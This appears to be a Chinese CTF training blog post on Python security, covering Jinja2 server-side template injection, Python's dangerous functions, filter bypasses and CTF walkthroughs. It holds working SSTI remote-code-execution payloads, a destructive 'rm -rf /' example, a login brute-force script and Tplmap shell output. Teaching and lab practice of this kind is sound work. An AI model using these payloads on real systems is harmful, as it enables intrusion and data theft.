Skip to content

Python安全 - CTF新手培训

BX

Python安全 - CTF新手培训

By HnuSec

课程介绍

🎯 课程目标

本课程旨在帮助同学们从0开始,了解和掌握 Python 在 Web 安全与 CTF 竞赛中的核心安全知识与攻防技巧。

学习过程中,将通过实战案例、漏洞原理解析、CTF 题目演练等方式,掌握以下能力:

🛠️ 0. 环境准备与依赖安装

为了更高效地参与本课程的学习与实战演练,请大家在课前完成以下环境准备和基础知识补充:

建议使用 本地 Linux / WSL / 虚拟机环境

本课程推荐使用 Miniconda 来创建隔离的 Python 学习环境,避免污染全局依赖。

✅ 创建并激活课程环境:

conda create -n pysec-ctf python=3.11 -y
conda activate pysec-ctf

或者是

requests、flask、jinja2 等基础库

pip install requests flask jinja2

📌建议统一使用 Python 虚拟环境(如 venvvirtualenv)管理依赖。

小 demo

为了更好理解整个流程,大家熟悉整个漏洞复现,漏洞利用,环境搭建的整个过程

vulhub/gradio/CVE-2024-1561 at master · vulhub/vulhub

大家可以参考这个 vulhub 靶场去复现一下 CVE-2024-1561 漏洞

具体复现细节见

写了一个小小流程示例,没有具体代码分析,为的就是会利用,知道流程

CVE-2024-1561复现 - BX

Python 应用

Python 脚本演示

Python 在 CTF 中比赛中是脚本的主要实现语言

爆破密码登录账号的例子

flask 简单登录逻辑实现

# server.py
from flask import Flask, request
app = Flask(__name__)
users = {'alice': '123456'}           # 只一个弱口令

@app.route('/login', methods=['POST'])
def login():
    u, p = request.form['u'], request.form['p']
    return 'OK' if users.get(u) == p else 'NO'

if __name__ == '__main__':
    app.run(port=8888)

爆破脚本如下

# brute.py
import requests, sys
URL="http://127.0.0.1:8888/login"
USER= ['admin','alice']

DEFAULT_WORDLIST = [
    '123456', 'password', 'qwerty', 'letmein', 'admin', 'iloveyou', 'welcome', 'password123'
]
words = DEFAULT_WORDLIST
for i in USER:
    for pwd in words:
        print("尝试用户",i,"密码",pwd)
        if "OK" in requests.post(URL, data={"u": i, "p": pwd}).text:
            print("密码找到了:", pwd)
            break
        else:
            print("密码错误:", pwd)
    print("用户",i,"密码爆破完成")

最后响应

❯ python .\baopao.py
尝试用户 admin 密码 123456
密码错误: 123456
尝试用户 admin 密码 password
密码错误: password
尝试用户 admin 密码 qwerty
密码错误: qwerty
尝试用户 admin 密码 letmein
密码错误: letmein
尝试用户 admin 密码 admin
密码错误: admin
尝试用户 admin 密码 iloveyou
密码错误: iloveyou
尝试用户 admin 密码 welcome
密码错误: welcome
尝试用户 admin 密码 password123
密码错误: password123
用户 admin 密码爆破完成
尝试用户 alice 密码 123456
密码找到了: 123456
用户 alice 密码爆破完成

Python 的特性

一切皆对象

这部分重点看 SSTI 中演示

高度动态的运行环境(Dynamic Execution)

📌 在漏洞中可能被滥用:

eval("os.system('ls')")
__import__('os').system('whoami')

攻击者可通过构造对象链访问 evalos.system__import__ 等功能函数

这里介绍一下 Python 的“危险函数”

函数功能返回值风险等级常见于攻击场景
eval()执行表达式返回结果🔥🔥🔥SSTI、反序列化、Webshell
exec()执行语句代码块无返回🔥🔥🔥🔥模板注入、反射创建对象
compile()将字符串编译为代码对象代码对象🔥高级动态执行
__import__()动态导入模块模块对象🔥🔥🔥绕过检测、命令执行
os.system()执行系统命令(无回显)返回码🔥🔥🔥Webshell、SSTI
subprocess.*()执行系统命令(可捕获输出)输出/状态码🔥🔥🔥🔥高级RCE、文件读写、持久化
input()(Py2)动态输入执行用户输入🔥🔥Python2特有漏洞点

📌 1. eval(expr)

⚠️ 危险性:高

🧪 利用示例:

eval("__import__('os').system('whoami')")

📌 2. exec(code)

exec("for i in range(3): print(i)")

⚠️ 危险性:极高

🧪 攻击示例:

exec("__import__('os').system('rm -rf /')")

📌 3. compile(source, filename, mode)

🧪 例子:

code = compile("print('hello')", "<string>", "exec")
exec(code)

⚠️ 危险性:中


📌 4. import(‘modulename’)

🧪 例子:

os = __import__('os')
os.system('whoami')

⚠️ 危险性:高


📌 5. os.system(cmd)

🧪 例子:

import os
os.system('ls')

⚠️ 危险性:高


📌 6. subprocess 系列(推荐攻击者使用)

import subprocess
output = subprocess.check_output("whoami", shell=True)

其他变种:

⚠️ 危险性:极高


📌 7. input()

# Python 2 中
>>> input(">>> ")  
__import__('os').system('whoami')  # 被执行!

🏗️ SSTI 漏洞了解

“一次模板、一条语句、一条命令。”


什么是 SSTI?

术语全称定义
SSTIServer-Side Template Injection用户输入被直接拼接到服务器模板代码中,未经转义或沙箱隔离,导致模板引擎解析并执行攻击者可控的表达式。

什么是模板,如何理解模板

模板就是一段带有占位符的字符串,模板引擎会用实际数据替换这些占位符,然后生成最终的 HTML 页面或文本内容。

举个例子(以 Jinja2 为例):

Hello, {{ name }}!

如果变量 name = "bx",那么模板引擎渲染后会输出:

Hello, bx!

How to Work?

  1. 模板文件
  2. 传入数据
  3. 模板引擎渲染
  4. 输出内容

比如在 Flask 中使用 Jinja2:

from flask import render_template

@app.route('/')
def index():
    return render_template('hello.html', name='bx king')

对应模板:

<h1>Hello {{ name }}</h1>

渲染后浏览器看到的是:

<h1>Hello bx king</h1>

漏洞形成流程图

文本绘图-展示漏洞成因

模板引擎速查表与语法指纹

语言常见引擎识别语法快速 PoC
PythonJinja2 / Mako{{7*7}}49{{ ''.__class__.__mro__[1].__subclasses__()[...]
PHPTwig / Smarty{{7*7}} / {{$smarty}{{_self.env.setCacheDir("/tmp")}}
JavaFreeMarker${7*7}${"freemarker.template.utility.Execute"?new()("id")}
Node.jsNunjucks / EJS<%= 7*7 %>{{range.constructor("return process.mainModule.require('child_process').execSync('id')")()}}

Jinja2 经典利用链(含命令执行)

以 Python + Flask(Jinja2)为示例

基本信息泄露

{{ config.items() }}

RCE(Python3 链)

{% set x=globals.__builtins__.open('/etc/passwd').read() %}{{x}}

最通用的 os.popen 链

{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
StageExplanation
selfJinja2 内建对象
.__init__⇒ 函数对象
.__globals__⇒ 全局命名空间
.__builtins__.os获得 os 模块
popen⇒ RCE

漏洞检测

漏洞检测

测试点操作现象
数学表达式{{7*7}}输出 49 或异常
报错信息{{7/0}}泄露模板引擎类型、源码路径
对象链{{ ''.__class__ }}返回 <class 'str'>

手段—手工

常见姿势

http://example.com/page?name={{7*7}}
<input name="username" value="{{7*7}}">
Set-Cookie: session={{7*7}}
User-Agent: {{7*7}}

自动化工具

  1. Fenjing(这个推荐大家多看看)

GitHub - Marven11/Fenjing: 专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 | A Jinja2 SSTI cracker for bypassing WAF, designed for CTF

  1. Tplmap

Github-Tplmap

  1. BurpSuite 插件

结合 bp 自动化测试

防御与修复

措施示例
沙箱 + 白名单Jinja2 SandboxedEnvironment
纯数据注入{{ user.name }} 而非 {{ user }}
模板分隔符转义替换 {{{%{[{、HTML entity
严格输出编码`{{ user.comment
禁止危险 globals禁掉 __builtins____import__open

课堂演示

一个 flask 随便起的例子

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/ssti')
def ssti_vuln():
    name = request.args.get('name', 'World')
    # 危险:直接将用户输入传入模板
    template = f"Hello, {name}!"
    return render_template_string(template)

# SSTI探测payload
basic_payloads = [
    "{{7*7}}",           # 基础测试,应返回49
    "{{7*'7'}}",         # 字符串重复,应返回7777777
    "${7*7}",            # 其他模板引擎测试
    "#{7*7}",            # Ruby ERB测试
]

# Jinja2信息收集payload
info_gathering = [
    "{{config}}",                    # Flask配置信息
    "{{self}}",                      # 模板上下文
    "{{request}}",                   # 请求对象
    "{{g}}",                         # Flask全局对象
    "{{session}}",                   # 会话信息
    "{{config.items()}}",            # 配置项详情
]

print("SSTI基础payload,你可以尝试访问/ssti,get传参")
print("探测payload:", basic_payloads)
print("信息收集payload:", info_gathering[:3])

if __name__ == '__main__':
    app.run(debug=True)

实战演练靶场

可以具体看一下

  1. NSSCTF-web 部分
  2. BUUCTF-web 部分
  3. Damn Vulnerable Web Application - DVWA
  4. PortSwigger Labs - 「Server-side template injection」章节

https://portswigger.net/web-security/all-topics

  1. Hack The Box - 「Jeeves」靶机

SSTI 深入学习

Python 链子介绍

:::info Python-万物皆对象

:::

{{ ''.__class__ }}                          # str 类
{{ ''.__class__.__mro__ }}                 # 查看类继承顺序
{{ ''.__class__.__mro__[1] }}              # object 类
{{ ''.__class__.__mro__[1].__subclasses__() }}  # 所有子类列表

绕过

基类

__mro__[-1]
__base__
__bases__[0]

. 被ban

''.__class__ = ''['__class__']
''.__class__ = ''|attr('__class__')

利用这两种方法

1、用[]代替.
{{"".__class__}}={{""['__class']}}
2用attr()过滤器绕过,举个例子
{{"".__class__}}={{""|attr('__class__')}}

_ 被ban

1、通过list获取字符列表,然后用pop来获取_,举个例子
{% set a=(()|select|string|list).pop(24)%}{%print(a)%}
2、可以通过十六进制编码的方式进行绕过,举个例子
{{()["\x5f\x5fclass\x5f\x5f"]}} ={{().__class__}}

赋值方法:

这个主要用于单双引号被ban的情况

花括号{}被ban

在jinjia引擎中可以使用{% %}

{%print("".__.....)%}

编码

"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"

贴一个脚本:

def string_to_hex(s):
    # 将字符串编码为十六进制形式,每个字符被转为两个十六进制数
    return s.encode('ascii').hex()

def hex_to_string(s):
    # 将十六进制字符串解码回普通字符串
    return bytes.fromhex(s).decode('ascii')

# 示例
normal_string = "__class__"
hex_string = string_to_hex(normal_string)
print(f"Original: {normal_string}")
print(f"Hex: {hex_string}")

# 转换回来以验证
decoded_string = hex_to_string(hex_string)
print(f"Decoded: {decoded_string}")

# 输出处理成类似 \x 格式
def string_to_hex_with_slashes(s):
    return ''.join(f'\\x{ord(c):02x}' for c in s)

# 测试
print("Hex with slashes:", string_to_hex_with_slashes(normal_string))

直接方法

{{lipsum.__globals__['os'].popen('tac ../flag').read()}}
{{lipsum.__globals__['o''s']['po''pen']('ls').read()}}
#request对象的方法绕过

{{cycler.__init__.__globals__.os.popen('ls /').read()}}

{{ config.__class__.__init__.__globals__['o''s']['pop''en']('ls /').read() }}                                                                                                                                                                                                       


#flask
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}
                                                                                                                                                                                                        
{{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}                                                                                                                                                                                                       

还有很多很多

题目实战

NSSCTF—[HNCTF 2022 WEEK2]ez_SSTI

  1. 手工

Payload:

?name={{config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20app.py%27).read()}}

我看了一下app.py

from flask import Flask, render_template_string, request

app = Flask(__name__)

@app.route("/")
def app_index():
    name = request.args.get('name')
    blacklist = []

    if name:
        for forbidden_name in blacklist:
            if forbidden_name in name:
                return 'Hacker'

    template = '''
    {% block body %}
    <div class="center-content error">
        <h1>WELCOME TO HNCTF</h1>
        <a href="https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#python" id="test" target="_blank">
            What is server-side template injection?
        </a>
        <h3>%s</h3>
    </div>
    {% endblock %}
    ''' % name

    return render_template_string(template)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)
  1. 利用工具—fenjing

[安洵杯 2020]Normal SSTI

  1. 使用Fenjing

[HNCTF 2022 WEEK3]ssssti

  1. 使用使用Fenjing

CTFSHOW----web361

手工
?name={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20/%27).read()%20}}

###
Hello
app bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var
###

打开文件

?name={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20/flag%27).read()%20}}

使用Tplmap
python2 tplmap.py -u 'https://727c5e75-4ba9-40ce-8fe3-dafdafd6990d.challenge.ctf.show/?name'

#直接获取shell
python2 tplmap.py -u 'https://727c5e75-4ba9-40ce-8fe3-dafdafd6990d.challenge.ctf.show/?name' --os-shell

[+] Run commands on the operating system.
posix-linux $ ls
app.py
posix-linux $ ls /
\app
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
posix-linux $ cat /flag
ctfshow{82f81a13-a157-49a5-ba00-cb23de3238cb}

参考文章&学习资料

https://hello-ctf.com/hc-web/ssti/

FLask SSTI从零到入门 - 跳跳糖

Python新人学习-安全分析-第一部分 - BX

其他知识

这部分就是比较零碎的了

Python 版本切换

这里介绍一下 Pyenv 工具

只说明一下具体命令

安装 Python 版本

pyenv install 3.10.13
pyenv install 3.12.3

列出可用版本:

pyenv install --list

🔁 设置版本

pyenv global 3.10.13
pyenv shell 3.12.3
pyenv local 3.12.3

查看当前使用的版本

pyenv versions    # 查看已安装的所有版本
pyenv version     # 当前正在使用的版本

flask-session 伪造问题

对于 flask 框架的深入

Flask之session伪造 - FreeBuf网络安全行业门户

GitHub - noraj/flask-session-cookie-manager: :cookie: Flask Session Cookie Decoder/Encoder

Python 内存马问题

📚 Python 安全内容

本课程内容覆盖基础、漏洞原理、高级利用与 CTF 实战四大模块,具体包括:

编辑这篇文章

评论区

使用 GitHub Discussions 驱动,欢迎留言交流。

上一篇
2025轩辕杯-WP
下一篇
测试密码保护功能